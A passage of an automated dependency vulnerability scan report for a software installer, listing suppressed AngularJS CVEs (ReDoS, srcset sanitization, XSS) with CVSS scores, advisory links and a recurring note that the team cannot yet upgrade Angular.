- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*

#### **CVE-2023-26116** suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>

- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.2.21; versions up to (including) 1.8.3

**CVE-2023-26117** suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qqx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

**CVE-2023-26118** suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:



- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

#### Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

#### References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*

- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2024-8373** suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2025-2336** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

#### **CVE-2025-4690** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021** (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: angular.jar: angular.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular.jar/META-INF/resources/webjars/angular/1.8.3/angular.js

**MD5:** e09f650a016c24bc1b5a1edc93bfbade

**SHA1:** 0f1f7445b761b9bbd5385f9f0b316dbf1ca48696

**SHA256:** fdca889e76f55fdee7ab661920f37ce19233563bf7f4ac8120f8ebc2ac768768

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

## Suppressed Vulnerabilities

### [CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

### [CVE-2024-21490](#) suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With

large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. \*\*Note:\*\*This package is EOL and will not receive any updates to address this issue. Users should migrate to [angular/core](https://www.npmjs.com/package/@angular/core).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN\\_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*.\*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*.\* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>



- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

**CVE-2023-26118** suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

**CVE-2024-8372** suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

